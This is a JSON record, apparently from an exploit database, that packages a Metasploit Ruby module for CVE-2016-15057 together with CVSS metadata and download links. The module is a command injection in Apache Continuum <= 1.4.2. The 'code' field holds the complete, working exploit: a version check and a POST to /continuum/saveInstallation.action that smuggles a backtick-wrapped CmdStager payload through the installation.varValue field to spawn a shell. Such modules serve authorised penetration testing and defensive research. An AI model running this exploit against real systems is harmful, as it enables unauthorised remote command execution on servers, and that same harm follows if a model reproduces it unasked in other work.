{"exploit":{"id":"MSF-linux--http--apache_continuum_cmd_exec","name":"Apache Continuum Arbitrary Command Execution","description":"This module exploits a command injection in Apache Continuum <= 1.4.2. By injecting a command into the installation.varValue POST parameter to /continuum/saveInstallation.action, a shell can be spawned.","cves":["CVE-2016-15057"],"author":"David Shanahan, wvu","published":"2016-04-06","platform":"Linux","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/apache_continuum_cmd_exec.rb","path":"modules/exploits/linux/http/apache_continuum_cmd_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"apache_continuum_cmd_exec.rb","vulnerabilities":[{"id":"CVE-2016-15057","state":"PUBLISHED","title":"Apache Continuum: Command injection leading to RCE","titleSource":"CVE Program","description":"** UNSUPPORTED WHEN ASSIGNED ** Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability in Apache Continuum. This issue affects Apache Continuum: all versions. Attackers with access to the installations REST API can use this to invoke arbitrary commands on the server. As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-15057","cvss":{"version":"3.1","baseScore":9.9,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2016-15057"},"updatedAt":"2026-01-26T18:06:06.158Z","retrievedAt":"2026-11-26T13:15:16.780Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--apache_continuum_cmd_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--apache_continuum_cmd_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--apache_continuum_cmd_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--apache_continuum_cmd_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::CmdStager\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache Continuum Arbitrary Command Execution',\n        'Description' => %q{\n          This module exploits a command injection in Apache Continuum <= 1.4.2.\n          By injecting a command into the installation.varValue POST parameter to\n          /continuum/saveInstallation.action, a shell can be spawned.\n        },\n        'Author' => [\n          'David Shanahan', # Proof of concept\n          'wvu'             # Metasploit module\n        ],\n        'References' => [\n          %w{CVE 2016-15057},\n          %w{EDB 39886},\n        ],\n        'DisclosureDate' => '2016-04-06',\n        'License' => MSF_LICENSE,\n        'Platform' => 'linux',\n        'Arch' => [ARCH_X86, ARCH_X64],\n        'Privileged' => false,\n        'Targets' => [\n          ['Apache Continuum <= 1.4.2', {}]\n        ],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(8080)\n    ])\n  end\n\n  def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => '/continuum/about.action'\n    )\n\n    if res && res.body.include?('1.4.2')\n      CheckCode::Appears('The target appears to be vulnerable')\n    elsif res && res.code == 200\n      CheckCode::Detected('The target service was detected')\n    else\n      CheckCode::Safe('The target is not vulnerable')\n    end\n  end\n\n  def exploit\n    print_status('Injecting CmdStager payload...')\n    execute_cmdstager\n  end\n\n  def execute_command(cmd, opts = {})\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => '/continuum/saveInstallation.action',\n      'vars_post' => {\n        'installation.name' => Rex::Text.rand_text_alpha(8),\n        'installation.type' => 'jdk',\n        'installation.varValue' => '`' + cmd + '`'\n      }\n    )\n  end\nend\n","sha256":"8c37a9f339809500e4ad2a2c573aad69e9254c89d27879b6864db0ad13606374","bytes":2273,"fetchedAt":"2026-11-26T13:15:16.674Z","encoding":"utf-8 (display only; download retains original bytes)"}